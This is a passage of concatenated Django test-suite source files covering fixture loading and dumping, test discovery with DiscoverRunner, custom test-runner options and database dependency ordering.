            ['sites', 'fixtures'],
            '[{"pk": 1, "model": "sites.site", "fields": {"domain": "example.com", "name": "example.com"}}, '
            '{"pk": 1, "model": "fixtures.category", "fields": {"description": "Latest news stories", "title": '
            '"News Stories"}}]',
            exclude_list=['fixtures.Article', 'fixtures.Book']
        )

        # Excluding sites and fixtures.Article/Book should only leave fixtures.Category
        self._dumpdata_assert(
            ['sites', 'fixtures'],
            '[{"pk": 1, "model": "fixtures.category", "fields": {"description": "Latest news stories", "title": '
            '"News Stories"}}]',
            exclude_list=['fixtures.Article', 'fixtures.Book', 'sites']
        )

        # Excluding a bogus app should throw an error
        with self.assertRaisesMessage(management.CommandError, "No installed app with label 'foo_app'."):
            self._dumpdata_assert(['fixtures', 'sites'], '', exclude_list=['foo_app'])

        # Excluding a bogus model should throw an error
        with self.assertRaisesMessage(management.CommandError, "Unknown model: fixtures.FooModel"):
            self._dumpdata_assert(['fixtures', 'sites'], '', exclude_list=['fixtures.FooModel'])

    @unittest.skipIf(sys.platform.startswith('win'), "Windows doesn't support '?' in filenames.")
    def test_load_fixture_with_special_characters(self):
        management.call_command('loaddata', 'fixture_with[special]chars', verbosity=0)
        self.assertQuerysetEqual(Article.objects.all(), ['<Article: How To Deal With Special Characters>'])

    def test_dumpdata_with_filtering_manager(self):
        spy1 = Spy.objects.create(name='Paul')
        spy2 = Spy.objects.create(name='Alex', cover_blown=True)
        self.assertQuerysetEqual(Spy.objects.all(),
                                 ['<Spy: Paul>'])
        # Use the default manager
        self._dumpdata_assert(
            ['fixtures.Spy'],
            '[{"pk": %d, "model": "fixtures.spy", "fields": {"cover_blown": false}}]' % spy1.pk
        )
        # Dump using Django's base manager. Should return all objects,
        # even those normally filtered by the manager
        self._dumpdata_assert(
            ['fixtures.Spy'],
            '[{"pk": %d, "model": "fixtures.spy", "fields": {"cover_blown": true}}, {"pk": %d, "model": '
            '"fixtures.spy", "fields": {"cover_blown": false}}]' % (spy2.pk, spy1.pk),
            use_base_manager=True
        )

    def test_dumpdata_with_pks(self):
        management.call_command('loaddata', 'fixture1.json', verbosity=0)
        management.call_command('loaddata', 'fixture2.json', verbosity=0)
        self._dumpdata_assert(
            ['fixtures.Article'],
            '[{"pk": 2, "model": "fixtures.article", "fields": {"headline": "Poker has no place on ESPN", '
            '"pub_date": "2006-06-16T12:00:00"}}, {"pk": 3, "model": "fixtures.article", "fields": {"headline": '
            '"Copyright is fine the way it is", "pub_date": "2006-06-16T14:00:00"}}]',
            primary_keys='2,3'
        )

        self._dumpdata_assert(
            ['fixtures.Article'],
            '[{"pk": 2, "model": "fixtures.article", "fields": {"headline": "Poker has no place on ESPN", '
            '"pub_date": "2006-06-16T12:00:00"}}]',
            primary_keys='2'
        )

        with self.assertRaisesMessage(management.CommandError, "You can only use --pks option with one model"):
            self._dumpdata_assert(
                ['fixtures'],
                '[{"pk": 2, "model": "fixtures.article", "fields": {"headline": "Poker has no place on ESPN", '
                '"pub_date": "2006-06-16T12:00:00"}}, {"pk": 3, "model": "fixtures.article", "fields": '
                '{"headline": "Copyright is fine the way it is", "pub_date": "2006-06-16T14:00:00"}}]',
                primary_keys='2,3'
            )

        with self.assertRaisesMessage(management.CommandError, "You can only use --pks option with one model"):
            self._dumpdata_assert(
                '',
                '[{"pk": 2, "model": "fixtures.article", "fields": {"headline": "Poker has no place on ESPN", '
                '"pub_date": "2006-06-16T12:00:00"}}, {"pk": 3, "model": "fixtures.article", "fields": '
                '{"headline": "Copyright is fine the way it is", "pub_date": "2006-06-16T14:00:00"}}]',
                primary_keys='2,3'
            )

        with self.assertRaisesMessage(management.CommandError, "You can only use --pks option with one model"):
            self._dumpdata_assert(
                ['fixtures.Article', 'fixtures.category'],
                '[{"pk": 2, "model": "fixtures.article", "fields": {"headline": "Poker has no place on ESPN", '
                '"pub_date": "2006-06-16T12:00:00"}}, {"pk": 3, "model": "fixtures.article", "fields": '
                '{"headline": "Copyright is fine the way it is", "pub_date": "2006-06-16T14:00:00"}}]',
                primary_keys='2,3'
            )

    def test_dumpdata_with_uuid_pks(self):
        m1 = PrimaryKeyUUIDModel.objects.create()
        m2 = PrimaryKeyUUIDModel.objects.create()
        output = six.StringIO()
        management.call_command(
            'dumpdata', 'fixtures.PrimaryKeyUUIDModel', '--pks', ', '.join([str(m1.id), str(m2.id)]),
            stdout=output,
        )
        result = output.getvalue()
        self.assertIn('"pk": "%s"' % m1.id, result)
        self.assertIn('"pk": "%s"' % m2.id, result)

    def test_dumpdata_with_file_output(self):
        management.call_command('loaddata', 'fixture1.json', verbosity=0)
        self._dumpdata_assert(
            ['fixtures'],
            '[{"pk": 1, "model": "fixtures.category", "fields": {"description": "Latest news stories", "title": '
            '"News Stories"}}, {"pk": 2, "model": "fixtures.article", "fields": {"headline": "Poker has no place '
            'on ESPN", "pub_date": "2006-06-16T12:00:00"}}, {"pk": 3, "model": "fixtures.article", "fields": '
            '{"headline": "Time to reform copyright", "pub_date": "2006-06-16T13:00:00"}}]',
            filename='dumpdata.json'
        )

    def test_dumpdata_progressbar(self):
        """
        Dumpdata shows a progress bar on the command line when --output is set,
        stdout is a tty, and verbosity > 0.
        """
        management.call_command('loaddata', 'fixture1.json', verbosity=0)
        new_io = six.StringIO()
        new_io.isatty = lambda: True
        with NamedTemporaryFile() as file:
            options = {
                'format': 'json',
                'stdout': new_io,
                'stderr': new_io,
                'output': file.name,
            }
            management.call_command('dumpdata', 'fixtures', **options)
            self.assertTrue(new_io.getvalue().endswith('[' + '.' * ProgressBar.progress_width + ']\n'))

            # Test no progress bar when verbosity = 0
            options['verbosity'] = 0
            new_io = six.StringIO()
            new_io.isatty = lambda: True
            options.update({'stdout': new_io, 'stderr': new_io})
            management.call_command('dumpdata', 'fixtures', **options)
            self.assertEqual(new_io.getvalue(), '')

    def test_dumpdata_proxy_without_concrete(self):
        """
        A warning is displayed if a proxy model is dumped without its concrete
        parent.
        """
        ProxySpy.objects.create(name='Paul')

        with warnings.catch_warnings(record=True) as warning_list:
            warnings.simplefilter('always')
            self._dumpdata_assert(['fixtures.ProxySpy'], '[]')
        warning = warning_list.pop()
        self.assertEqual(warning.category, ProxyModelWarning)
        self.assertEqual(
            str(warning.message),
            "fixtures.ProxySpy is a proxy model and won't be serialized."
        )

    def test_dumpdata_proxy_with_concrete(self):
        """
        A warning isn't displayed if a proxy model is dumped with its concrete
        parent.
        """
        spy = ProxySpy.objects.create(name='Paul')

        with warnings.catch_warnings(record=True) as warning_list:
            warnings.simplefilter('always')
            self._dumpdata_assert(
                ['fixtures.ProxySpy', 'fixtures.Spy'],
                '[{"pk": %d, "model": "fixtures.spy", "fields": {"cover_blown": false}}]' % spy.pk
            )
        self.assertEqual(len(warning_list), 0)

    def test_compress_format_loading(self):
        # Load fixture 4 (compressed), using format specification
        management.call_command('loaddata', 'fixture4.json', verbosity=0)
        self.assertQuerysetEqual(Article.objects.all(), [
            '<Article: Django pets kitten>',
        ])

    def test_compressed_specified_loading(self):
        # Load fixture 5 (compressed), using format *and* compression specification
        management.call_command('loaddata', 'fixture5.json.zip', verbosity=0)
        self.assertQuerysetEqual(Article.objects.all(), [
            '<Article: WoW subscribers now outnumber readers>',
        ])

    def test_compressed_loading(self):
        # Load fixture 5 (compressed), only compression specification
        management.call_command('loaddata', 'fixture5.zip', verbosity=0)
        self.assertQuerysetEqual(Article.objects.all(), [
            '<Article: WoW subscribers now outnumber readers>',
        ])

    def test_ambiguous_compressed_fixture(self):
        # The name "fixture5" is ambiguous, so loading it will raise an error
        with self.assertRaises(management.CommandError) as cm:
            management.call_command('loaddata', 'fixture5', verbosity=0)
            self.assertIn("Multiple fixtures named 'fixture5'", cm.exception.args[0])

    def test_db_loading(self):
        # Load db fixtures 1 and 2. These will load using the 'default' database identifier implicitly
        management.call_command('loaddata', 'db_fixture_1', verbosity=0)
        management.call_command('loaddata', 'db_fixture_2', verbosity=0)
        self.assertQuerysetEqual(Article.objects.all(), [
            '<Article: Who needs more than one database?>',
            '<Article: Who needs to use compressed data?>',
        ])

    def test_loaddata_error_message(self):
        """
        Verifies that loading a fixture which contains an invalid object
        outputs an error message which contains the pk of the object
        that triggered the error.
        """
        # MySQL needs a little prodding to reject invalid data.
        # This won't affect other tests because the database connection
        # is closed at the end of each test.
        if connection.vendor == 'mysql':
            connection.cursor().execute("SET sql_mode = 'TRADITIONAL'")
        with self.assertRaises(IntegrityError) as cm:
            management.call_command('loaddata', 'invalid.json', verbosity=0)
            self.assertIn("Could not load fixtures.Article(pk=1):", cm.exception.args[0])

    def test_loaddata_app_option(self):
        """
        Verifies that the --app option works.
        """
        with self.assertRaisesMessage(CommandError, "No fixture named 'db_fixture_1' found."):
            management.call_command('loaddata', 'db_fixture_1', verbosity=0, app_label="someotherapp")
        self.assertQuerysetEqual(Article.objects.all(), [])
        management.call_command('loaddata', 'db_fixture_1', verbosity=0, app_label="fixtures")
        self.assertQuerysetEqual(Article.objects.all(), [
            '<Article: Who needs more than one database?>',
        ])

    def test_loaddata_verbosity_three(self):
        output = six.StringIO()
        management.call_command('loaddata', 'fixture1.json', verbosity=3, stdout=output, stderr=output)
        command_output = force_text(output.getvalue())
        self.assertIn(
            "\rProcessed 1 object(s).\rProcessed 2 object(s)."
            "\rProcessed 3 object(s).\rProcessed 4 object(s).\n",
            command_output
        )

    def test_loading_using(self):
        # Load db fixtures 1 and 2. These will load using the 'default' database identifier explicitly
        management.call_command('loaddata', 'db_fixture_1', verbosity=0, using='default')
        management.call_command('loaddata', 'db_fixture_2', verbosity=0, using='default')
        self.assertQuerysetEqual(Article.objects.all(), [
            '<Article: Who needs more than one database?>',
            '<Article: Who needs to use compressed data?>',
        ])

    def test_unmatched_identifier_loading(self):
        # Try to load db fixture 3. This won't load because the database identifier doesn't match
        with self.assertRaisesMessage(CommandError, "No fixture named 'db_fixture_3' found."):
            management.call_command('loaddata', 'db_fixture_3', verbosity=0)
        with self.assertRaisesMessage(CommandError, "No fixture named 'db_fixture_3' found."):
            management.call_command('loaddata', 'db_fixture_3', verbosity=0, using='default')
        self.assertQuerysetEqual(Article.objects.all(), [])

    def test_output_formats(self):
        # Load back in fixture 1, we need the articles from it
        management.call_command('loaddata', 'fixture1', verbosity=0)

        # Try to load fixture 6 using format discovery
        management.call_command('loaddata', 'fixture6', verbosity=0)
        self.assertQuerysetEqual(Tag.objects.all(), [
            '<Tag: <Article: Time to reform copyright> tagged "copyright">',
            '<Tag: <Article: Time to reform copyright> tagged "law">'
        ], ordered=False)

        # Dump the current contents of the database as a JSON fixture
        self._dumpdata_assert(
            ['fixtures'],
            '[{"pk": 1, "model": "fixtures.category", "fields": {"description": "Latest news stories", "title": '
            '"News Stories"}}, {"pk": 2, "model": "fixtures.article", "fields": {"headline": "Poker has no place '
            'on ESPN", "pub_date": "2006-06-16T12:00:00"}}, {"pk": 3, "model": "fixtures.article", "fields": '
            '{"headline": "Time to reform copyright", "pub_date": "2006-06-16T13:00:00"}}, {"pk": 1, "model": '
            '"fixtures.tag", "fields": {"tagged_type": ["fixtures", "article"], "name": "copyright", "tagged_id": '
            '3}}, {"pk": 2, "model": "fixtures.tag", "fields": {"tagged_type": ["fixtures", "article"], "name": '
            '"law", "tagged_id": 3}}, {"pk": 1, "model": "fixtures.person", "fields": {"name": "Django '
            'Reinhardt"}}, {"pk": 2, "model": "fixtures.person", "fields": {"name": "Stephane Grappelli"}}, '
            '{"pk": 3, "model": "fixtures.person", "fields": {"name": "Prince"}}]',
            natural_foreign_keys=True
        )

        # Dump the current contents of the database as an XML fixture
        self._dumpdata_assert(
            ['fixtures'],
            '<?xml version="1.0" encoding="utf-8"?><django-objects version="1.0"><object pk="1" '
            'model="fixtures.category"><field type="CharField" name="title">News Stories</field><field '
            'type="TextField" name="description">Latest news stories</field></object><object pk="2" '
            'model="fixtures.article"><field type="CharField" name="headline">Poker has no place on ESPN</field>'
            '<field type="DateTimeField" name="pub_date">2006-06-16T12:00:00</field></object><object pk="3" '
            'model="fixtures.article"><field type="CharField" name="headline">Time to reform copyright</field>'
            '<field type="DateTimeField" name="pub_date">2006-06-16T13:00:00</field></object><object pk="1" '
            'model="fixtures.tag"><field type="CharField" name="name">copyright</field><field '
            'to="contenttypes.contenttype" name="tagged_type" rel="ManyToOneRel"><natural>fixtures</natural>'
            '<natural>article</natural></field><field type="PositiveIntegerField" name="tagged_id">3</field>'
            '</object><object pk="2" model="fixtures.tag"><field type="CharField" name="name">law</field><field '
            'to="contenttypes.contenttype" name="tagged_type" rel="ManyToOneRel"><natural>fixtures</natural>'
            '<natural>article</natural></field><field type="PositiveIntegerField" name="tagged_id">3</field>'
            '</object><object pk="1" model="fixtures.person"><field type="CharField" name="name">Django Reinhardt'
            '</field></object><object pk="2" model="fixtures.person"><field type="CharField" name="name">Stephane '
            'Grappelli</field></object><object pk="3" model="fixtures.person"><field type="CharField" name="name">'
            'Prince</field></object></django-objects>',
            format='xml', natural_foreign_keys=True
        )

    def test_loading_with_exclude_app(self):
        Site.objects.all().delete()
        management.call_command('loaddata', 'fixture1', exclude=['fixtures'], verbosity=0)
        self.assertFalse(Article.objects.exists())
        self.assertFalse(Category.objects.exists())
        self.assertQuerysetEqual(Site.objects.all(), ['<Site: example.com>'])

    def test_loading_with_exclude_model(self):
        Site.objects.all().delete()
        management.call_command('loaddata', 'fixture1', exclude=['fixtures.Article'], verbosity=0)
        self.assertFalse(Article.objects.exists())
        self.assertQuerysetEqual(Category.objects.all(), ['<Category: News Stories>'])
        self.assertQuerysetEqual(Site.objects.all(), ['<Site: example.com>'])

    def test_exclude_option_errors(self):
        """Excluding a bogus app or model should raise an error."""
        msg = "No installed app with label 'foo_app'."
        with self.assertRaisesMessage(management.CommandError, msg):
            management.call_command('loaddata', 'fixture1', exclude=['foo_app'], verbosity=0)

        msg = "Unknown model: fixtures.FooModel"
        with self.assertRaisesMessage(management.CommandError, msg):
            management.call_command('loaddata', 'fixture1', exclude=['fixtures.FooModel'], verbosity=0)


class NonExistentFixtureTests(TestCase):
    """
    Custom class to limit fixture dirs.
    """
    available_apps = ['django.contrib.auth', 'django.contrib.contenttypes']

    def test_loaddata_not_existent_fixture_file(self):
        stdout_output = six.StringIO()
        with self.assertRaisesMessage(CommandError, "No fixture named 'this_fixture_doesnt_exist' found."):
            management.call_command('loaddata', 'this_fixture_doesnt_exist', stdout=stdout_output)

    @mock.patch('django.db.connection.enable_constraint_checking')
    @mock.patch('django.db.connection.disable_constraint_checking')
    def test_nonexistent_fixture_no_constraint_checking(
            self, disable_constraint_checking, enable_constraint_checking):
        """
        If no fixtures match the loaddata command, constraints checks on the
        database shouldn't be disabled. This is performance critical on MSSQL.
        """
        with self.assertRaisesMessage(CommandError, "No fixture named 'this_fixture_doesnt_exist' found."):
            management.call_command('loaddata', 'this_fixture_doesnt_exist', verbosity=0)
        disable_constraint_checking.assert_not_called()
        enable_constraint_checking.assert_not_called()


class FixtureTransactionTests(DumpDataAssertMixin, TransactionTestCase):

    available_apps = [
        'fixtures',
        'django.contrib.contenttypes',
        'django.contrib.auth',
        'django.contrib.sites',
    ]

    @skipUnlessDBFeature('supports_forward_references')
    def test_format_discovery(self):
        # Load fixture 1 again, using format discovery
        management.call_command('loaddata', 'fixture1', verbosity=0)
        self.assertQuerysetEqual(Article.objects.all(), [
            '<Article: Time to reform copyright>',
            '<Article: Poker has no place on ESPN>',
        ])

        # Try to load fixture 2 using format discovery; this will fail
        # because there are two fixture2's in the fixtures directory
        with self.assertRaises(management.CommandError) as cm:
            management.call_command('loaddata', 'fixture2', verbosity=0)
            self.assertIn("Multiple fixtures named 'fixture2'", cm.exception.args[0])

        # object list is unaffected
        self.assertQuerysetEqual(Article.objects.all(), [
            '<Article: Time to reform copyright>',
            '<Article: Poker has no place on ESPN>',
        ])

        # Dump the current contents of the database as a JSON fixture
        self._dumpdata_assert(
            ['fixtures'],
            '[{"pk": 1, "model": "fixtures.category", "fields": {"description": "Latest news stories", "title": '
            '"News Stories"}}, {"pk": 2, "model": "fixtures.article", "fields": {"headline": "Poker has no place '
            'on ESPN", "pub_date": "2006-06-16T12:00:00"}}, {"pk": 3, "model": "fixtures.article", "fields": '
            '{"headline": "Time to reform copyright", "pub_date": "2006-06-16T13:00:00"}}]'
        )

        # Load fixture 4 (compressed), using format discovery
        management.call_command('loaddata', 'fixture4', verbosity=0)
        self.assertQuerysetEqual(Article.objects.all(), [
            '<Article: Django pets kitten>',
            '<Article: Time to reform copyright>',
            '<Article: Poker has no place on ESPN>',
        ])






from django.test.runner import DiscoverRunner


class CustomOptionsTestRunner(DiscoverRunner):

    def __init__(self, verbosity=1, interactive=True, failfast=True,
                 option_a=None, option_b=None, option_c=None, **kwargs):
        super(CustomOptionsTestRunner, self).__init__(
            verbosity=verbosity, interactive=interactive, failfast=failfast,
        )
        self.option_a = option_a
        self.option_b = option_b
        self.option_c = option_c

    @classmethod
    def add_arguments(cls, parser):
        parser.add_argument('--option_a', '-a', action='store', dest='option_a', default='1'),
        parser.add_argument('--option_b', '-b', action='store', dest='option_b', default='2'),
        parser.add_argument('--option_c', '-c', action='store', dest='option_c', default='3'),

    def run_tests(self, test_labels, extra_tests=None, **kwargs):
        print("%s:%s:%s" % (self.option_a, self.option_b, self.option_c))






from django.db import models


class Person(models.Model):
    first_name = models.CharField(max_length=20)
    last_name = models.CharField(max_length=20)












import os
from argparse import ArgumentParser
from contextlib import contextmanager
from unittest import TestSuite, TextTestRunner, defaultTestLoader

from django.test import TestCase
from django.test.runner import DiscoverRunner


@contextmanager
def change_cwd(directory):
    current_dir = os.path.abspath(os.path.dirname(__file__))
    new_dir = os.path.join(current_dir, directory)
    old_cwd = os.getcwd()
    os.chdir(new_dir)
    try:
        yield
    finally:
        os.chdir(old_cwd)


class DiscoverRunnerTest(TestCase):

    def test_init_debug_mode(self):
        runner = DiscoverRunner()
        self.assertFalse(runner.debug_mode)

    def test_add_arguments_debug_mode(self):
        parser = ArgumentParser()
        DiscoverRunner.add_arguments(parser)

        ns = parser.parse_args([])
        self.assertFalse(ns.debug_mode)
        ns = parser.parse_args(["--debug-mode"])
        self.assertTrue(ns.debug_mode)

    def test_dotted_test_module(self):
        count = DiscoverRunner().build_suite(
            ["test_discovery_sample.tests_sample"],
        ).countTestCases()

        self.assertEqual(count, 6)

    def test_dotted_test_class_vanilla_unittest(self):
        count = DiscoverRunner().build_suite(
            ["test_discovery_sample.tests_sample.TestVanillaUnittest"],
        ).countTestCases()

        self.assertEqual(count, 1)

    def test_dotted_test_class_django_testcase(self):
        count = DiscoverRunner().build_suite(
            ["test_discovery_sample.tests_sample.TestDjangoTestCase"],
        ).countTestCases()

        self.assertEqual(count, 1)

    def test_dotted_test_method_django_testcase(self):
        count = DiscoverRunner().build_suite(
            ["test_discovery_sample.tests_sample.TestDjangoTestCase.test_sample"],
        ).countTestCases()

        self.assertEqual(count, 1)

    def test_pattern(self):
        count = DiscoverRunner(
            pattern="*_tests.py",
        ).build_suite(["test_discovery_sample"]).countTestCases()

        self.assertEqual(count, 1)

    def test_file_path(self):
        with change_cwd(".."):
            count = DiscoverRunner().build_suite(
                ["test_discovery_sample/"],
            ).countTestCases()

        self.assertEqual(count, 7)

    def test_empty_label(self):
        """
        If the test label is empty, discovery should happen on the current
        working directory.
        """
        with change_cwd("."):
            suite = DiscoverRunner().build_suite([])
            self.assertEqual(
                suite._tests[0].id().split(".")[0],
                os.path.basename(os.getcwd()),
            )

    def test_empty_test_case(self):
        count = DiscoverRunner().build_suite(
            ["test_discovery_sample.tests_sample.EmptyTestCase"],
        ).countTestCases()

        self.assertEqual(count, 0)

    def test_discovery_on_package(self):
        count = DiscoverRunner().build_suite(
            ["test_discovery_sample.tests"],
        ).countTestCases()

        self.assertEqual(count, 1)

    def test_ignore_adjacent(self):
        """
        When given a dotted path to a module, unittest discovery searches
        not just the module, but also the directory containing the module.

        This results in tests from adjacent modules being run when they
        should not. The discover runner avoids this behavior.
        """
        count = DiscoverRunner().build_suite(
            ["test_discovery_sample.empty"],
        ).countTestCases()

        self.assertEqual(count, 0)

    def test_testcase_ordering(self):
        with change_cwd(".."):
            suite = DiscoverRunner().build_suite(["test_discovery_sample/"])
            self.assertEqual(
                suite._tests[0].__class__.__name__,
                'TestDjangoTestCase',
                msg="TestDjangoTestCase should be the first test case")
            self.assertEqual(
                suite._tests[1].__class__.__name__,
                'TestZimpleTestCase',
                msg="TestZimpleTestCase should be the second test case")
            # All others can follow in unspecified order, including doctests
            self.assertIn('DocTestCase', [t.__class__.__name__ for t in suite._tests[2:]])

    def test_duplicates_ignored(self):
        """
        Tests shouldn't be discovered twice when discovering on overlapping paths.
        """
        base_app = 'gis_tests'
        sub_app = 'gis_tests.geo3d'
        with self.modify_settings(INSTALLED_APPS={'append': sub_app}):
            single = DiscoverRunner().build_suite([base_app]).countTestCases()
            dups = DiscoverRunner().build_suite([base_app, sub_app]).countTestCases()
        self.assertEqual(single, dups)

    def test_reverse(self):
        """
        Reverse should reorder tests while maintaining the grouping specified
        by ``DiscoverRunner.reorder_by``.
        """
        runner = DiscoverRunner(reverse=True)
        suite = runner.build_suite(
            test_labels=('test_discovery_sample', 'test_discovery_sample2'))
        self.assertIn('test_discovery_sample2', next(iter(suite)).id(),
                      msg="Test labels should be reversed.")
        suite = runner.build_suite(test_labels=('test_discovery_sample2',))
        suite = tuple(suite)
        self.assertIn('DjangoCase', suite[0].id(),
                      msg="Test groups should not be reversed.")
        self.assertIn('SimpleCase', suite[4].id(),
                      msg="Test groups order should be preserved.")
        self.assertIn('DjangoCase2', suite[0].id(),
                      msg="Django test cases should be reversed.")
        self.assertIn('SimpleCase2', suite[4].id(),
                      msg="Simple test cases should be reversed.")
        self.assertIn('UnittestCase2', suite[8].id(),
                      msg="Unittest test cases should be reversed.")
        self.assertIn('test_2', suite[0].id(),
                      msg="Methods of Django cases should be reversed.")
        self.assertIn('test_2', suite[4].id(),
                      msg="Methods of simple cases should be reversed.")
        self.assertIn('test_2', suite[8].id(),
                      msg="Methods of unittest cases should be reversed.")

    def test_overridable_get_test_runner_kwargs(self):
        self.assertIsInstance(DiscoverRunner().get_test_runner_kwargs(), dict)

    def test_overridable_test_suite(self):
        self.assertEqual(DiscoverRunner().test_suite, TestSuite)

    def test_overridable_test_runner(self):
        self.assertEqual(DiscoverRunner().test_runner, TextTestRunner)

    def test_overridable_test_loader(self):
        self.assertEqual(DiscoverRunner().test_loader, defaultTestLoader)

    def test_tags(self):
        runner = DiscoverRunner(tags=['core'])
        self.assertEqual(runner.build_suite(['test_discovery_sample.tests_sample']).countTestCases(), 1)
        runner = DiscoverRunner(tags=['fast'])
        self.assertEqual(runner.build_suite(['test_discovery_sample.tests_sample']).countTestCases(), 2)
        runner = DiscoverRunner(tags=['slow'])
        self.assertEqual(runner.build_suite(['test_discovery_sample.tests_sample']).countTestCases(), 2)

    def test_exclude_tags(self):
        runner = DiscoverRunner(tags=['fast'], exclude_tags=['core'])
        self.assertEqual(runner.build_suite(['test_discovery_sample.tests_sample']).countTestCases(), 1)
        runner = DiscoverRunner(tags=['fast'], exclude_tags=['slow'])
        self.assertEqual(runner.build_suite(['test_discovery_sample.tests_sample']).countTestCases(), 0)
        runner = DiscoverRunner(exclude_tags=['slow'])
        self.assertEqual(runner.build_suite(['test_discovery_sample.tests_sample']).countTestCases(), 4)






"""
Tests for django test runner
"""
from __future__ import unicode_literals

import unittest

from admin_scripts.tests import AdminScriptTestCase

from django import db
from django.conf import settings
from django.core.exceptions import ImproperlyConfigured
from django.core.management import call_command
from django.test import (
    TestCase, TransactionTestCase, mock, skipUnlessDBFeature, testcases,
)
from django.test.runner import DiscoverRunner
from django.test.testcases import connections_support_transactions
from django.test.utils import dependency_ordered

from .models import Person


class DependencyOrderingTests(unittest.TestCase):

    def test_simple_dependencies(self):
        raw = [
            ('s1', ('s1_db', ['alpha'])),
            ('s2', ('s2_db', ['bravo'])),
            ('s3', ('s3_db', ['charlie'])),
        ]
        dependencies = {
            'alpha': ['charlie'],
            'bravo': ['charlie'],
        }

        ordered = dependency_ordered(raw, dependencies=dependencies)
        ordered_sigs = [sig for sig, value in ordered]

        self.assertIn('s1', ordered_sigs)
        self.assertIn('s2', ordered_sigs)
        self.assertIn('s3', ordered_sigs)
        self.assertLess(ordered_sigs.index('s3'), ordered_sigs.index('s1'))
        self.assertLess(ordered_sigs.index('s3'), ordered_sigs.index('s2'))

    def test_chained_dependencies(self):
        raw = [
            ('s1', ('s1_db', ['alpha'])),
            ('s2', ('s2_db', ['bravo'])),
            ('s3', ('s3_db', ['charlie'])),
        ]
        dependencies = {
            'alpha': ['bravo'],
            'bravo': ['charlie'],
        }

        ordered = dependency_ordered(raw, dependencies=dependencies)
        ordered_sigs = [sig for sig, value in ordered]

        self.assertIn('s1', ordered_sigs)
        self.assertIn('s2', ordered_sigs)
        self.assertIn('s3', ordered_sigs)

        # Explicit dependencies
        self.assertLess(ordered_sigs.index('s2'), ordered_sigs.index('s1'))
        self.assertLess(ordered_sigs.index('s3'), ordered_sigs.index('s2'))

        # Implied dependencies
        self.assertLess(ordered_sigs.index('s3'), ordered_sigs.index('s1'))

    def test_multiple_dependencies(self):
        raw = [
            ('s1', ('s1_db', ['alpha'])),
            ('s2', ('s2_db', ['bravo'])),
            ('s3', ('s3_db', ['charlie'])),
            ('s4', ('s4_db', ['delta'])),
        ]
        dependencies = {
            'alpha': ['bravo', 'delta'],
            'bravo': ['charlie'],
            'delta': ['charlie'],
        }

        ordered = dependency_ordered(raw, dependencies=dependencies)
        ordered_sigs = [sig for sig, aliases in ordered]

        self.assertIn('s1', ordered_sigs)
        self.assertIn('s2', ordered_sigs)
        self.assertIn('s3', ordered_sigs)
        self.assertIn('s4', ordered_sigs)

        # Explicit dependencies
        self.assertLess(ordered_sigs.index('s2'), ordered_sigs.index('s1'))
        self.assertLess(ordered_sigs.index('s4'), ordered_sigs.index('s1'))
        self.assertLess(ordered_sigs.index('s3'), ordered_sigs.index('s2'))
        self.assertLess(ordered_sigs.index('s3'), ordered_sigs.index('s4'))

        # Implicit dependencies
        self.assertLess(ordered_sigs.index('s3'), ordered_sigs.index('s1'))

    def test_circular_dependencies(self):
        raw = [
            ('s1', ('s1_db', ['alpha'])),
            ('s2', ('s2_db', ['bravo'])),
        ]
        dependencies = {
            'bravo': ['alpha'],
            'alpha': ['bravo'],
        }

        with self.assertRaises(ImproperlyConfigured):
            dependency_ordered(raw, dependencies=dependencies)

    def test_own_alias_dependency(self):
        raw = [
            ('s1', ('s1_db', ['alpha', 'bravo']))
        ]
        dependencies = {
            'alpha': ['bravo']
        }

        with self.assertRaises(ImproperlyConfigured):
            dependency_ordered(raw, dependencies=dependencies)

        # reordering aliases shouldn't matter
        raw = [
            ('s1', ('s1_db', ['bravo', 'alpha']))
        ]

        with self.assertRaises(ImproperlyConfigured):
            dependency_ordered(raw, dependencies=dependencies)


class MockTestRunner(object):
    def __init__(self, *args, **kwargs):
        pass

MockTestRunner.run_tests = mock.Mock(return_value=[])


class ManageCommandTests(unittest.TestCase):

    def test_custom_test_runner(self):
        call_command('test', 'sites',
                     testrunner='test_runner.tests.MockTestRunner')
        MockTestRunner.run_tests.assert_called_with(('sites',))

    def test_bad_test_runner(self):
        with self.assertRaises(AttributeError):
            call_command('test', 'sites', testrunner='test_runner.NonExistentRunner')


class CustomTestRunnerOptionsTests(AdminScriptTestCase):

    def setUp(self):
        settings = {
            'TEST_RUNNER': '\'test_runner.runner.CustomOptionsTestRunner\'',
        }
        self.write_settings('settings.py', sdict=settings)

    def tearDown(self):
        self.remove_settings('settings.py')

    def test_default_options(self):
        args = ['test', '--settings=test_project.settings']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(err)
        self.assertOutput(out, '1:2:3')

    def test_default_and_given_options(self):
        args = ['test', '--settings=test_project.settings', '--option_b=foo']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(err)
        self.assertOutput(out, '1:foo:3')

    def test_option_name_and_value_separated(self):
        args = ['test', '--settings=test_project.settings', '--option_b', 'foo']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(err)
        self.assertOutput(out, '1:foo:3')

    def test_all_options_given(self):
        args = ['test', '--settings=test_project.settings', '--option_a=bar',
                '--option_b=foo', '--option_c=31337']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(err)
        self.assertOutput(out, 'bar:foo:31337')


class Ticket17477RegressionTests(AdminScriptTestCase):
    def setUp(self):
        self.write_settings('settings.py')

    def tearDown(self):
        self.remove_settings('settings.py')

    def test_ticket_17477(self):
        """'manage.py help test' works after r16352."""
        args = ['help', 'test']
        out, err = self.run_manage(args)
        self.assertNoOutput(err)


class Sqlite3InMemoryTestDbs(TestCase):

    available_apps = []

    @unittest.skipUnless(all(db.connections[conn].vendor == 'sqlite' for conn in db.connections),
                         "This is an sqlite-specific issue")
    def test_transaction_support(self):
        """Ticket #16329: sqlite3 in-memory test databases"""
        for option_key, option_value in (
                ('NAME', ':memory:'), ('TEST', {'NAME': ':memory:'})):
            tested_connections = db.ConnectionHandler({
                'default': {
                    'ENGINE': 'django.db.backends.sqlite3',
                    option_key: option_value,
                },
                'other': {
                    'ENGINE': 'django.db.backends.sqlite3',
                    option_key: option_value,
                },
            })
            with mock.patch('django.db.connections', new=tested_connections):
                with mock.patch('django.test.testcases.connections', new=tested_connections):
                    other = tested_connections['other']
                    DiscoverRunner(verbosity=0).setup_databases()
                    msg = ("DATABASES setting '%s' option set to sqlite3's ':memory:' value "
                           "shouldn't interfere with transaction support detection." % option_key)
                    # Transaction support should be properly initialized for the 'other' DB
                    self.assertTrue(other.features.supports_transactions, msg)
                    # And all the DBs should report that they support transactions
                    self.assertTrue(connections_support_transactions(), msg)


